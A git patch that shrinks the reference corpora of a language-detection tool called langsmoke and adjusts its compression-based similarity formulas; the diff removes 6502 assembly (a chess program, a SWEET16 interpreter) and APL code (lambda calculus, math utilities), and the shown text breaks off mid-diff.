From 42fae5dd39d257c80b39a9c3ee38543a782d52ff Mon Sep 17 00:00:00 2001 From: Kamila Szewczyk Date: Sun, 12 Nov 2023 19:29:17 +0100 Subject: [PATCH] smaller references --- langsmoke | 8 +- ref_6502 | 708 +--- ref_apl | 2012 +----------- ref_c | 3439 ++------------------ ref_cpp | 3868 +--------------------- ref_java | 9351 +++-------------------------------------------------- ref_sh | 7286 +---------------------------------------- ref_x64 | 3146 +----------------- ref_x86 | 4577 +------------------------- ref_z80 | 9112 +-------------------------------------------------- 10 files changed, 942 insertions(+), 42565 deletions(-) diff --git a/langsmoke b/langsmoke index 44ff2ae..74e7fce 100755 --- a/langsmoke +++ b/langsmoke @@ -27,13 +27,13 @@ function do_stat { # 20MB cutoff. ss=$(du ref_$1 | cut -f-1) - bz_stat=$(cat ref_$1 $src | head -c 20000000 | bzip3 -eb $size | wc -c) - bz_ref=$(cat ref_$1 | bzip3 -eb $size | wc -c) - bz_sim=$(python3 -c "print(1/((($bz_stat - min($bz_ref, $bz3)) / (max($bz_ref, $bz3)))-1))") + bz_stat=$(cat ref_$1 $src | head -c 20000000 | bzip3 -cefb $size | wc -c) + bz_ref=$(cat ref_$1 | bzip3 | wc -c) + bz_sim=$(python3 -c "print(100*($bz_stat - min($bz_ref, $bz3)) / (max($bz_ref, $bz3)))") lz_stat=$(cat ref_$1 $src | head -c 20000000 | lz4 -1c | wc -c) lz_ref=$(cat ref_$1 | lz4 -1c | wc -c) - lz_sim=$(python3 -c "print(1000*($ss/$abs)*(1-($lz_stat - min($lz_ref, $lz4)) / (max($lz_ref, $lz4))))") + lz_sim=$(python3 -c "print(100*($lz_stat - min($lz_ref, $lz4)) / (max($lz_ref, $lz4)))") echo "BZ3: $bz_sim, LZ4: $lz_sim" } diff --git a/ref_6502 b/ref_6502 index 4809a66..4b59972 100644 --- a/ref_6502 +++ b/ref_6502 @@ -1,706 +1,8 @@ - - *=$1000 - LDA #$00 - STA REV - JSR Init_6551 -CHESS CLD - LDX #$FF - TXS - LDX #$C8 - STX SP2 -OUT JSR pout - JSR KIN - CMP #$43 - BNE NOSET - LDX #$1F -WHSET LDA SETW,X - STA BOARD,X - DEX - BPL WHSET - LDX #$1B - STX OMOVE - LDA #$CC - BNE CLDSP -NOSET CMP #$45 - BNE NOREV - JSR REVERSE - SEC - LDA #$01 - SBC REV - STA REV - LDA #$EE - BNE CLDSP -NOREV CMP #$40 - BNE NOGO - JSR GO -CLDSP STA DIS1 - STA DIS2 - STA DIS3 - BNE CHESS -NOGO CMP #$0D - BNE NOMV - JSR MOVE - JMP DISP -NOMV CMP #$41 - BEQ DONE - JMP INPUT -DONE JMP $FF00 - -JANUS LDX STATE - BMI NOCOUNT -COUNTS LDA PIECE - BEQ OVER - CPX #$08 - BNE OVER - CMP BMAXP - BEQ XRT -OVER INC MOB,X - CMP #$01 - BNE NOQ - INC MOB,X -NOQ BVC NOCAP - LDY #$0F - LDA SQUARE -ELOOP CMP BK,Y - BEQ FOUN - DEY - BPL ELOOP -FOUN LDA POINTS,Y - CMP MAXC,X - BCC LESS - STY PCAP,X - STA MAXC,X -LESS CLC - PHP - ADC CC,X - STA CC,X - PLP -NOCAP CPX #$04 - BEQ ON4 - BMI TREE -XRT RTS -ON4 LDA XMAXC - STA WCAP0 - LDA #$00 - STA STATE - JSR MOVE - JSR REVERSE - JSR GNMZ - JSR REVERSE - LDA #$08 - STA STATE - JSR UMOVE - JMP STRATGY -NOCOUNT CPX #$F9 - BNE TREE - LDA BK - CMP SQUARE - BNE RETJ - LDA #$00 - STA INCHEK -RETJ RTS -TREE BVC RETJ - LDY #$07 - LDA SQUARE -LOOPX CMP BK,Y - BEQ FOUNX - DEY - BEQ RETJ - BPL LOOPX -FOUNX LDA POINTS,Y - CMP BCAP0,X - BCC NOMAX - STA BCAP0,X -NOMAX DEC STATE - LDA #$FB - CMP STATE - BEQ UPTREE - JSR GENRM -UPTREE INC STATE - RTS -INPUT CMP #$08 - BCS ERROR - JSR DISMV -DISP LDX #$1F -SEARCH LDA BOARD,X - CMP DIS2 - BEQ HERE - DEX - BPL SEARCH -HERE STX DIS1 - STX PIECE -ERROR JMP CHESS -GNMZ LDX #$10 -GNMX LDA #$00 -CLEAR STA COUNT,X - DEX - BPL CLEAR -GNM LDA #$10 - STA PIECE -NEWP DEC PIECE - BPL NEX - RTS -NEX JSR RESET - LDY PIECE - LDX #$08 - STX MOVEN - CPY #$08 - BPL PAWN - CPY #$06 - BPL KNIGHT - CPY #$04 - BPL BISHOP - CPY #$01 - BEQ QUEEN - BPL ROOK -KING JSR SNGMV - BNE KING - BEQ NEWP -QUEEN JSR LINE - BNE QUEEN - BEQ NEWP -ROOK LDX #$04 - STX MOVEN -AGNR JSR LINE - BNE AGNR - BEQ NEWP -BISHOP JSR LINE - LDA MOVEN - CMP #$04 - BNE BISHOP - BEQ NEWP -KNIGHT LDX #$10 - STX MOVEN -AGNN JSR SNGMV - LDA MOVEN - CMP #$08 - BNE AGNN - BEQ NEWP -PAWN LDX #$06 - STX MOVEN -P1 JSR CMOVE - BVC P2 - BMI P2 - JSR JANUS -P2 JSR RESET - DEC MOVEN - LDA MOVEN - CMP #$05 - BEQ P1 -P3 JSR CMOVE - BVS NEWP - BMI NEWP - JSR JANUS - LDA SQUARE - AND #$F0 - CMP #$20 - BEQ P3 - JMP NEWP -SNGMV JSR CMOVE - BMI ILL1 - JSR JANUS -ILL1 JSR RESET - DEC MOVEN - RTS -LINE JSR CMOVE - BCC OVL - BVC LINE -OVL BMI ILL - PHP - JSR JANUS - PLP - BVC LINE -ILL JSR RESET - DEC MOVEN - RTS -REVERSE LDX #$0F -ETC SEC - LDY BK,X - LDA #$77 - SBC BOARD,X - STA BK,X - STY BOARD,X - SEC - LDA #$77 - SBC BOARD,X - STA BOARD,X - DEX - BPL ETC - RTS - -CMOVE LDA SQUARE - LDX MOVEN - CLC - ADC MOVEX,X - STA SQUARE - AND #$88 - BNE ILLEGAL - LDA SQUARE - LDX #$20 -LOOP DEX - BMI NO - CMP BOARD,X - BNE LOOP - CPX #$10 - BMI ILLEGAL - LDA #$7F - ADC #$01 - BVS SPX -NO CLV -SPX LDA STATE - BMI RETL - CMP #$08 - BPL RETL - -CHKCHK PHA - PHP - LDA #$F9 - STA STATE - STA INCHEK - JSR MOVE - JSR REVERSE - JSR GNM - JSR RUM - PLP - PLA - STA STATE - LDA INCHEK - BMI RETL - SEC - LDA #$FF - RTS -RETL CLC - LDA #$00 - RTS -ILLEGAL LDA #$FF - CLC - CLV - RTS -RESET LDX PIECE - LDA BOARD,X - STA SQUARE - RTS -GENRM JSR MOVE -GENR2 JSR REVERSE - JSR GNM -RUM JSR REVERSE -UMOVE TSX - STX SP1 - LDX SP2 - TXS - PLA - STA MOVEN - PLA - STA PIECE - TAX - PLA - STA BOARD,X - PLA - TAX - PLA - STA SQUARE - STA BOARD,X - JMP STRV -MOVE TSX - STX SP1 - LDX SP2 - TXS - LDA SQUARE - PHA - TAY - LDX #$1F -CHECK CMP BOARD,X - BEQ TAKE - DEX - BPL CHECK -TAKE LDA #$CC - STA BOARD,X - TXA - PHA - LDX PIECE - LDA BOARD,X - STY BOARD,X - PHA - TXA - PHA - LDA MOVEN - PHA -STRV TSX - STX SP2 - LDX SP1 - TXS - RTS -CKMATE LDY BMAXC - CPX POINTS - BNE NOCHEK - LDA #$00 - BEQ RETV -NOCHEK LDX BMOB - BNE RETV - LDX WMAXP - BNE RETV - LDA #$FF -RETV LDX #$04 - STX STATE -PUSH CMP BESTV - BCC RETP - BEQ RETP - STA BESTV - LDA PIECE - STA BESTP - LDA SQUARE - STA BESTM -RETP LDA #"." - Jmp syschout -GO LDX OMOVE - BMI NOOPEN - LDA DIS3 - CMP OPNING,X - BNE END - DEX - LDA OPNING,X - STA DIS1 - DEX - LDA OPNING,X - STA DIS3 - DEX - STX OMOVE - BNE MV2 -END LDA #$FF - STA OMOVE -NOOPEN LDX #$0C - STX STATE - STX BESTV - LDX #$14 - JSR GNMX - LDX #$04 - STX STATE - JSR GNMZ - LDX BESTV - CPX #$0F - BCC MATE -MV2 LDX BESTP - LDA BOARD,X - STA BESTV - STX PIECE - LDA BESTM - STA SQUARE - JSR MOVE - JMP CHESS -MATE LDA #$FF - RTS -DISMV LDX #$04 -DROL ASL DIS3 - ROL DIS2 - DEX - BNE DROL - ORA DIS3 - STA DIS3 - STA SQUARE - RTS -STRATGY CLC - LDA #$80 - ADC WMOB - ADC WMAXC - ADC WCC - ADC WCAP1 - ADC WCAP2 - SEC - SBC PMAXC - SBC PCC - SBC BCAP0 - SBC BCAP1 - SBC BCAP2 - SBC PMOB - SBC BMOB - BCS POS - LDA #$00 -POS LSR - CLC - ADC #$40 - ADC WMAXC - ADC WCC - SEC - SBC BMAXC - LSR - CLC - ADC #$90 - ADC WCAP0 - ADC WCAP0 - ADC WCAP0 - ADC WCAP0 - ADC WCAP1 - SEC - SBC BMAXC - SBC BMAXC - SBC BMCC - SBC BMCC - SBC BCAP1 - LDX SQUARE - CPX #$33 - BEQ POSN - CPX #$34 - BEQ POSN - CPX #$22 - BEQ POSN - CPX #$25 - BEQ POSN - LDX PIECE - BEQ NOPOSN - LDY BOARD,X - CPY #$10 - BPL NOPOSN -POSN CLC - ADC #$02 -NOPOSN JMP CKMATE -POUT jsr pout9 - jsr pout13 - JSR POUT10 - LDY #$00 - JSR POUT5 -POUT1 lDA #"|" - JSR syschout - LDX #$1F -POUT2 TYA -match - CMP BOARD,X - BEQ POUT4 -type - DEX - BPL POUT2 - tya - and #$01 - sta temp - tya - lsr - lsr - lsr - lsr - and #$01 - clc - adc temp -square color - and #$01 - bne pout25 - lda #"*" - .byte $2c -POUT25 LDA #$20 - JSR syschout - JSR syschout -POUT3 INY - TYA - AND #$08 - BEQ POUT1 - LDA #"|" - JSR syschout - jsr pout12 - JSR POUT9 - JSR POUT5 - CLC - TYA - ADC #$08 - TAY - CPY #$80 - BEQ POUT8 - BNE POUT1 -POUT4 LDA REV - BEQ POUT41 - LDA cpl+16,X - BNE POUT42 -POUT41 LDA cpl,x -POUT42 JSR syschout - lda cph,x - jsr syschout - BNE POUT3 -POUT5 TXA - PHA - LDX #$19 - LDA #"-" -POUT6 JSR syschout - DEX - BNE POUT6 - PLA - TAX - JSR POUT9 - RTS -POUT8 jsr pout10 - LDA $FB - JSR syshexout - LDA #$20 - JSR syschout - LDA $FA - JSR syshexout - LDA #$20 - JSR syschout - LDA $F9 - JSR syshexout -POUT9 LDA #$0D - JSR syschout - LDA #$0A - JSR syschout - RTS -pout10 ldx #$00 -POUT11 lda #$20 - jsr syschout - txa - jsr syshexout - INX - CPX #$08 - BNE POUT11 - BEQ POUT9 -POUT12 TYA - and #$70 - JSR syshexout - rts -Pout13 ldx #$00 -Pout14 lda banner,x - beq POUT15 - jsr syschout - inx - bne POUT14 -POUT15 rts -KIN LDA #"?" - JSR syschout - JSR syskin - AND #$4F - RTS -Init_6551 lda #$1F - sta ACIActl - lda #$0B -dtr active low - sta ACIAcmd - rts -syskin lda ACIASta - and #$08 - beq syskin - Lda ACIAdat - RTS -syschout PHA -ACIA_Out1 lda ACIASta - and #$10 - beq ACIA_Out1 - PLA - sta ACIAdat - RTS -syshexout PHA - LSR - LSR - LSR - LSR - JSR PrintDig - PLA -PrintDig PHY - AND #$0F - TAY - LDA Hexdigdata,Y - PLY - jmp syschout -TMP EQU $6 -WEEKDAY: - CPX #3 - BCS MARCH - DEY -MARCH EOR #$7F - CPY #200 - ADC MTAB-1,X - STA TMP - TYA - JSR MOD7 - SBC TMP - STA TMP - TYA - LSR - LSR - CLC - ADC TMP -MOD7 ADC #7 - BCC MOD7 - RTS - AST 32 - JSR SAVE - PLA - STA R15L - PLA - STA R15H -SW16B JSR SW16C - JMP SW16B -SW16C INC R15L - BNE SW16D - INC R15H -SW16D LDA >SET - PHA - LDY $0 - LDA (R15L),Y - AND $F - ASL - TAX - LSR - EOR (R15L),Y - BEQ TOBR - STX R14H - LSR - LSR - LSR - TAY - LDA OPTBL-2,Y - PHA - RTS -TOBR INC R15L - BNE TOBR2 - INC R15H -TOBR2 LDA BRTBL,X - PHA - LDA R14H - LSR - RTS -RTNZ PLA - PLA - JSR RESTORE - JMP (R15L) -SETZ LDA (R15L),Y - STA R0H,X - DEY - LDA (R15L),Y - STA R0L,X - TYA - SEC - ADC R15L - STA R15L - BCC SET2 - INC R15H -SET2 RTS -OPTBL DFB SET-1 -BRTBL DFB RTN-1 - DFB LD-1 - DFB BR-1 - DFB ST-1 - DFB BNC-1 - DFB LDAT-1 - DFB BC-1 - DFB STAT-1 - DFB BP-1 - DFB LDDAT-1 - DFB BM-1 - DFB STDAT-1 - DFB BZ-1 - DFB POP-1 - DFB BNZ-1 - DFB STPAT-1 - DFB BM1-1 - DFB ADD-1 - DFB BNM1-1 - DFB SUB-1 - DFB BK-1 - DFB POPD-1 - DFB RS-1 - DFB CPR-1 - DFB BS-1 - DFB INR-1 - DFB NUL-1 - DFB DCR-1 - DFB NUL-1 - DFB NUL-1 - DFB NUL-1 +ADC AND ASL BCC BCS BEQ BIT BMI BNE BPL BRA BRK BVC BVS +CLC CLD CLI CLV CMP CPX CPY DEC DEX DEY EOR INC INX INY +JMP JSR LDA LDX LDY LSR NOP ORA PHA PHP PHX PHY PLA PLP +PLX PLY ROL ROR RTI RTS SBC SEC SED SEI STA STP STX STY +STZ TAX TAY TRB TSB TSX TXA TXS TYA WAI SET BPL SETZ LD LDA R0L,X BK EQU *-1 diff --git a/ref_apl b/ref_apl index f41151e..fc76dee 100644 --- a/ref_apl +++ b/ref_apl @@ -1,205 +1,5 @@ -lam←{ - ⎕IO⎕ML←1 1 - ∆d←⍪('true' ('Lam' (,'t') ('Lam' (,'f') ('Var' (,'t'))))) - ∆d,←('false' ('Lam' (,'t') ('Lam' (,'f') ('Var' (,'f'))))) - ⍺←∆d⋄∆t←⍺⋄∆hi←{∆t,←⍺⍵}⋄∆hr←{∆t∘←((∆t↑[2]⍨¯1∘+),∆t↓[2]⍨⊢)⍵⍳⍨,1↑∆t}⋄err←{⍵⎕SIGNAL 8} - hash←{{1e10|⍺+31×⍵}/128+1(220⌶)⍵}⋄sd←'₀₁₂₃₄₅₆₇₈₉'⋄l←'()λ.='⋄ad←{⍺,sd[,1+10⊥⍣¯1⊢⍵]} - str←{'Lam'≡⊃⍵:∊'(λ'(2⊃⍵)'. '(∇3⊃⍵)')'⋄'Var'≡⊃⍵:2⊃⍵⋄'App'≡⊃⍵:∊'('(∇2⊃⍵)' '(∇3⊃⍵)')'} - lx←{0=≢⍵:⍬⋄(⊃⍵)∊l:(⊂0,⊃⍵),∇1↓⍵⋄3≠(⎕UCS 10 32)⍳⊃⍵:∇1↓⍵⋄'#'=⊃⍵:∇⍵↓⍨⍵⍳⎕UCS 10 - ×k←⊥⍨⌽⍵∊sd,⎕A,⎕C⎕A:(⊂1,k↑⍵),∇k↓⍵⋄err'eltoken'⍵} - pr←{L←0'λ'⋄P←0'('⋄E←0'='⋄C←0')'⋄D←0'.' - at←{P≡⊃⍵:{lx t←tr(1↓⍵)⋄C≢⊃lx:err'eparen'⋄(1↓lx) t}⍵ - 1≡⊃⊃⍵:(1↓⍵)('Var'(1↓⊃⍵))⋄L≡⊃⍵:ab 1↓⍵⋄err'etoken'} - ab←{i←⊥⍨⌽1=⊃¨⍵⋄i<1:err'elambda'⋄D≢⍵⊃⍨i+1:err'edot' - lx tv←tr(1+i)↓⍵⋄nm←1↓¨i↑⍵⋄lx(nm{0=≢⍺:⍵⋄(¯1↓⍺)∇'Lam'(⊃⌽⍺)⍵}tv)} - tr←{L≡⊃⍵:ab 1↓⍵⋄↑{(L≢⊃⍺)∧(1≢⊃⊃⍺)∧(P≢⊃⍺):⍺⍵⋄lx t←at ⍺⋄lx ∇'App'⍵ t}/at ⍵} - bi←{k←⊃⍵⋄lx v←tr 2↓⍵⋄0≠≢lx:err'estray'⋄_←∆hr k⋄_←∆hi k v⋄⍬} - E≡⊃1↓⍵:bi ⍵⋄⊃⌽tr ⍵} - a←⍪''0⋄ac←{∆i←{i←(,1↑a)⍳⊂⍵⋄_←⍺{i>⊃⌽⍴a:a,←⍵ 0⋄a[2;i]+←⍺⋄0}⍵⋄⍵ad,a[2;i]} - {'Var'≡⊃⍵:'Var' (0 ∆i ⊃⌽⍵)⋄'App'≡⊃⍵:'App' (∇2⊃⍵) (∇3⊃⍵) - 'Lam'≡⊃⍵:(⊂'Lam'),((∇3⊃⍵) ,⍨⍥⊂ (1 ∆i 2⊃⍵))}⍵} - de←{lk←{(⊂⍵)∊⍺:'Var'⍵⋄i←(⊂⍵)⍳⍨,1↑∆t⋄i>⊃⌽⍴∆t:'Var'⍵⋄⊃∆t[2;i]} - {⍺←⊂''⋄'Var'≡⊃⍵:(⍺ lk ⊃⌽⍵)⋄'App'≡⊃⍵:'App' (⍺∇2⊃⍵) (⍺∇3⊃⍵) - 'Lam'≡⊃⍵:(2↑⍵),⊂(⍺,⊂2⊃⍵)∇3⊃⍵}⍵} - br←{'Lam'≡⊃⍵:(2↑⍵),⊂∇3⊃⍵⋄'Var'≡⊃⍵:⍵⋄'App'≢⊃⍵:err'eint' - an bn←∇¨1↓⍵⋄'Lam'≢⊃an:⍵⋄an bn←1↓ac 'App' an bn⋄av←2⊃an - {v←'Var'≡⊃⍵⋄v∧av≡2⊃⍵:bn⋄v:⍵⋄v←'Lam'≡⊃⍵⋄v∧av≡2⊃⍵:⍵⋄v:(2↑⍵),⊂∇3⊃⍵ - 'App'≡⊃⍵:'App' (∇2⊃⍵) (∇3⊃⍵)}3⊃an} - rd←{h←⍬⋄i←{⍵∊h:1⋄h,←⍵⋄0}⋄in←de ⍵⋄r←br⍣{(i hash ⍺)∨⍺≡⍵}in⋄(in≡r)∨(hash r)∊¯1↓h:err'einf'⋄r} - ⍬≢ast←pr lx ⍵:str rd ast - } - - -⍝ apl-misc-math - Copyright (C) Kamila Szewczyk, 2022. -⍝ Redistributed under the terms of the AGPLv3 license. -⍝ Load using: ⎕fix'file:///.../apl-misc-math/mm.apl'⋄mm.setup - -⍝ Special thanks to Adám Brudzewsky. - -:Namespace mm - ⍝ Default settings. The library works optimally with - ⍝ higher precision arithmetic. - ##.(⎕FR⎕PP)←1287 34 - - ⍝ Alter to change the precision of operations. - ⍝ Note: A value too small will carry more error due to - ⍝ floating point inaccurancy. - epsilon←0.0000001 - int_prec←0.0001 - - ⍝ Braces were supposed to make the result shy, but apparently they don't. - ∇ {r}←setup - (_tanh_sinh_pf _tanh_sinh_m2)←↓(○.5)×5 6∘.○int_prec×⍳÷int_prec - _tanh_sinh_m2×←int_prec - (_tanh_xk _tanh_wkd)←↓7 6∘.○_tanh_sinh_pf - _tanh_sinh_m2÷←×⍨_tanh_wkd - _erf_c←2÷(○1)*.5 - euler_gamma←(+/∘÷∘⍳-⍟) lim_inf 1 ⍝ Alternatively: -digamma 1 - 'ok' - ∇ - - ⍝ d⍺⍺/dx |x=⍵ - derv←{epsilon÷⍨-/⍺⍺¨⍵+epsilon 0} - - ⍝ d^n⍺⍺/dx^n |x=⍵ - nderv←{⍵⍵=1:⍺⍺ D ⍵ ⋄ ((⍺⍺ D) ∇∇ (⍵⍵-1)) ⍵} - - ⍝ The secant root-finding method. ⍵ is starting x1,x2 - secant←{ - f←⍺⍺⋄⊃⌽{ - dy←-/y1 y2←f¨x1 x2←⍵ - x2,x1-y1×dy÷⍨-/⍵ - }⍣{epsilon>|-/⍺}⍵ - } - - ⍝ Trim insignificant real/imaginary parts. - ztrim←{¯9 ¯11+.○(⊢×epsilon<|)9 11∘.○⍵} - - ⍝ Durand-Kerner method for finding complex polynomial roots. - ⍝ 0.4J0.9 was chosen arbitrarily as a starting point. It is - ⍝ neither a real number nor a de Moivre number. - durand_kerner←{ - f←⊥∘((⊢÷⊃)⍵)⋄g←{⍵⍪⍉⍪f¨⍵} - ztrim¨,1↑{ - v←,1↑⍵⋄g{⍺-⍵÷×/0~⍨⍺-v}⌿⍵ - }⍣⍺ g 0.4J0.9*⎕io-⍨⍳1-⍨≢⍵ - } - - ⍝ The Faddeev-LeVerrier algorithm for finding the characteristic - ⍝ polynomial of a square matrix. - faddeev_leverrier←{ - ⎕io←0⋄(≠/⍴⍵)∨2≠≢⍴⍵:⍬⋄n←≢⍵ - M0←⍵⋄I←n n⍴1↑⍨1+n⋄⊃ { - ⍵=0:1 I⋄(cp MP)←∇⍵-1⋄X←M0+.×MP - c←(+/0 0⍉X)÷-⍵⋄(cp,c)(X+I×c) - } n - } - - ⍝ An extension to the Faddeev-LeVerrier implementation above that - ⍝ also keeps track of the matrix used to compute the inverse. - ⍝ The inverse can be obtained using inv cpoly←... and inv×-÷⊃⌽cpoly - faddeev_leverrier_ex←{ - ⎕io←0⋄(≠/⍴⍵)∨2≠≢⍴⍵:⍬⋄n←≢⍵⋄inv←⍬ - M0←⍵⋄I←n n⍴1↑⍨1+n⋄cpoly←⊃ { - ⍵=0:1 I⋄(cp MP)←∇⍵-1⋄X←M0+.×MP - c←(+/0 0⍉X)÷-⍵ - MC←X+I×c - _←{⍵=n-1:inv∘←MC⋄0}⍵ - (cp,c)MC - } n - inv cpoly - } - - ⍝ Eigenvector computation. - eigenvec←{ - ⎕io←0⋄(≠/⍴⍵)∨2≠≢⍴⍵:⍬ - n←≢⍵⋄I←n n⍴1↑⍨1+n⋄s←⍵-⍺×I - q←1,⍨1↑⍨1-⍨⊃⌽⍴s⋄ztrim¨1,⍨∊⌹⍨∘-/q⊂1↓s - } - - ⍝ A range function from dfns. - range←{↑+/⍵{⍵×{⍵-⎕IO}⍳1+0⌈⌊(⍺⍺-⍺)÷⍵+⍵=0}\1 ¯1×-\2↑⍺,⍺+×⍵-⍺} - - ⍝ Simpson integration. Assumes bounds ⍺<⍵. - simpson←{ - h←(⍵-⍺)÷S←÷int_prec - (h÷3)×+/(⍺+⍥⍺⍺ ⍵),⍺((⍺⍺⊣+h×⊢)×2×1+2|⊢⍤0)⍳S - } - - ⍝ Trapezoidal rule. - trapz←{ - ⍺=⍵:0 - sgn←¯1*⍺>⍵ - a b←⍺(⌊,⌈)⍵ - x←↑2,/(a+0 int_prec)range b - sgn×+/0.5×int_prec×+/⍺⍺⍤0⊢x - } - - ⍝ The tanh-sinh quadrature. - tanh_sinh←{ - ⍺>⍵:-⍵(⍺⍺∇∇)⍺ - ⍺ ⍵≡0 1:+/_tanh_sinh_m2×⍺⍺¨_tanh_xk - a b←⍺ ⍵⋄g←⍺⍺ - (b-a)×+/_tanh_sinh_m2×{g a+⍵×b-a}¨_tanh_xk - } - - ⍝ Some APLCart stuff I dislike grabbing over and over again. - median←2÷⍨1⊥⊢⌷⍨∘⊂⍋⌷⍨∘⊂∘⌈2÷⍨0 1+≢ - stddev←≢÷⍨2*∘÷⍨(≢×+.*∘2)-2*⍨+⌿ - diag←{⍵⊂⍤⊢⌸⍥,⍨+/↑⍳⍴⍵} ⍝ Antidiagonals as a vector of vectors. - - ⍝ Partition a n-element index array according to an invertible - ⍝ complexity function. - part_f←{⌽⌽¨(⌽⍳⍵)⊂⍨⍸⍣¯1⌊⍺⍺⍳⌊⍺⍺⍣¯1⊢⍵} - - ⍝ Complexity functions. Used in the partitioning algoithm, - ⍝ they include an additional n factor. - Onbang←⊢×! ⍝ O(n!) - Onlogn←×⍨×⍟ ⍝ O(n log n) - Ologn←⊢×⍟ ⍝ O(log n) - Osqrtn←⊢×(.5*⍨⊢) ⍝ O(sqrt(n)) - On3←⊢*∘4 ⍝ O(n^3) - On2←⊢*∘3 ⍝ O(n^2) - On←×⍨ ⍝ O(n) - O1←⊢ ⍝ O(1) - - ⍝ A primitive approximation of limits at infinity. - lim_inf←{0::⍺⍺ ⍵⋄x←⍺⍺¨ 0 1+⍵⋄epsilon<|-/x:⍺⍺∇∇(1+⍵)⋄⊃x} - - ⍝ The error function. - erf←{_erf_c×0(*∘-×⍨)simpson⍵} - - ⍝ The sine integrals. - Si←{0 (1∘○÷⊢)simpson ⍵} - si←{(mm.Si ⍵)-○.5} - - ⍝ The cosine integrals. - Cin←{0 {⍵÷⍨1-2○⍵}simpson ⍵} - Ci←{mm.euler_gamma + (⍟-mm.Cin)⍵} - - ⍝ Offset logarithmic integral. - Li←{2 (÷∘⍟)mm.simpson ⍵} - - ⍝ Partial derivatives. - invariant_a←{⍵⍵ ⍺⍺ ⍵} - invariant_b←{⍵ ⍺⍺ ⍵⍵} - pderv_a←{epsilon÷⍨-/(⍺⍺ invariant_b ⍵)¨⍺+epsilon 0} ⍝ Partial derivative df/d⍺ - pderv_b←{epsilon÷⍨-/(⍺⍺ invariant_a ⍺)¨⍵+epsilon 0} ⍝ Partial derivative df/d⍵ - - ⍝ The digamma function. - digamma←(!¯1∘+)derv÷(!¯1∘+) - - ⍝ Gradient vector. - nabla_grad←{⍺(⍺⍺ pderv_a,⍺⍺ pderv_b)⍵} -:EndNamespace - sim←{ - eunderspec←'Underspecified system. Missing the definition of nodes: ' - enoint←'Failed to ensure integrity of the system' - epref←'Invalid prefix in specifier ' - ea←' requires no arguments.' ' requires one argument.' ' requires two arguments.' - ⍺←0.5 code←{ (2⊃¨v/⍨x)@(⍸x←∊⊃¨v←⎕VFI¨⍵)⊢⍵ @@ -214,105 +14,7 @@ lam←{ load←{∊'v[',(⍕⍵),']'} fmt←{{⍵/⍨(∨\∧∘⌽∨\∘⌽)' '≠⍵}∊('⍝'(≠⊆⊢)∊' '⍺' '),¨⍵,⊂⍬} state←⎕NS ⍬ ⋄ state.v←0⍴⍨≢srt ⋄ state.t←0 - arity←⊂'HIGH' 'LOW' - arity,←⊂'NOT' 'LED' 'BUTTON' 'CLOCK' - arity,←⊂'AND' 'OR' 'XOR' 'XNOR' - chka←{ - 0=∨/ind←(⊂⍺)∘∊¨arity:0 - ⍵≠¯1+⍸ind:(∊⍺,ea[⍸ind])⎕SIGNAL 8 ⋄ 1 - } - src←∊'⋄'(1↓∘,,⍤0)(⊂'t+←1⋄⍬'),⍨{ - var op args←2(↑,⊂⍤↓)⍵ ⋄ _←op chka≢args - av←load¨var,args - op≡'AND':'⍝←⍝∧⍝'fmt av⋄op≡'OR':'⍝←⍝∨⍝'fmt av - op≡'XOR':'⍝←⍝≠⍝'fmt av⋄op≡'XNOR':'⍝←⍝=⍝'fmt av - op≡'NOT':'⍝←~⍝'fmt av⋄op≡'HIGH':'⍝←1'fmt⊂av - op≡'LOW':'⍝←0'fmt⊂av⋄op≡'LED':'' - op≡'BUTTON':'⍝←0≠⍝ t'fmt(⊂load var),args - op≡'CLOCK':'⍝←0=⍝|t'fmt(⊂load var),⊂unpref⊃args - (∊'unrecognised op 'op)⎕SIGNAL 8 - }¨srt - ⍺∘{ - _←'state'⍎src - ⎕←∊'Time: '(⍕state.t)' LEDs: '(⍕leds,¨state.v[3⊃¨srt[leds]]) - ⎕DL ⍺ - }⍣{0}⊢⍬ } - - dx←{ - ⍝ import dfns - dfns←{⍵⊣⍵.⎕CY'dfns'}⎕NS⍬ - ⍝ namespace for symbol implementations - ns←⎕NS ⍬ - ⍝ code page - cp←'⌶%⍺⍵_abcdefghijklmnopqrstuvwxyz¯.' - cp,←'⍬0123456789⊢∆ABCDEFGHIJKLMNOPQRS' - cp,←'TUVWXYZ⍙[/⌿\⍀<≤=≥>≠∨∧-+÷×?∊"#&@:' - cp,←'⍷⋄←⍝)]⍴~↑↓⍳○*⌈⌊∇∘(⊂⊃∩∪⊥⊤|;,⍱⍲⍒⍋⍉' - cp,←'⌽⊖⍟⌹!⍕⍎⍫⍪≡≢⎕⍞⍣⍭√⍛⍢⍍…⍙φ⍗⍐⍦⍁⍮Φ⍡' - cp,←∊(⎕UCS 32)(⎕UCS 10) - ⍝ custom operations - t←⊂'~' '_Neg' ⋄ ns._Neg←{0=⍵} - t,←⊂'⍭' '_Pco' ⋄ ns._Pco←dfns.pco - t,←⊂'√' '_Root' ⋄ ns._Root←{⍺←2 ⋄ ⍵*÷⍺} - t,←⊂'<' '_Lt' ⋄ ns._Lt←{0=⎕NC'⍺':⍵-1 ⋄ ⍺<⍵} - t,←⊂'>' '_Gt' ⋄ ns._Gt←{0=⎕NC'⍺':⍵+1 ⋄ ⍺>⍵} - t,←⊂'⍛' '_Rc' ⋄ ns._Rc←{⍵⍵∘⍺⍺} - t,←⊂'⍢' '_Round' ⋄ ns._Round←{⍺←1 ⋄ ⍺(⊢∘××⊣×∘⌈¯0.5+∘|÷⍨)⍵} - t,←⊂'⍍' '_MatMul' ⋄ ns._MatMul←{0=⎕NC'⍺':(,⍨⍴1,⍴∘0)⍵ ⋄ ⍺+.×⍵} - t,←⊂'…' '_Range' ⋄ ns._Range←{ - ⍝ Adam Brudzewsky's Range function. - ⍝ modified to follow a terser code style. - ⎕IO←0 ⋄ c←0 2∊⍨10|⎕DR ⋄ t←1↓⍵ ⋄ d←c(e←⊃⍵) - f←⎕UCS⍣d⊢0 ⋄ ⍺←f ⋄ l←-(2-d)⌊(≢⍺)⌊+/d=c¨¯2↑⍺ - s←l↓⍺ ⋄ b←(¯1⌊l)↑¯2↑f,l↑⍺ ⋄ d:s,t,⍨⎕UCS(⎕UCS b)∇ ⎕UCS e - F S←-⍨\2↑b,b+×e-b ⋄ s,t,⍨F+S×⍳0⌈1+⌊(e-F)÷S+S=0 - } - t,←⊂'⍙' '_MonadicDot' ⋄ ns._MonadicDot←{ - ⍝ https://dfns.dyalog.com/n_alt.htm - r c←⍴⍵ - 0=r:⍵⍵⌿,⍵ - 1≥c:⍺⍺⌿,⍵ - M←~⍤1 0⍨⍳r - ⍵[;⎕IO]⍺⍺.⍵⍵(∇⍤2)⍵[M;1↓⍳c] - 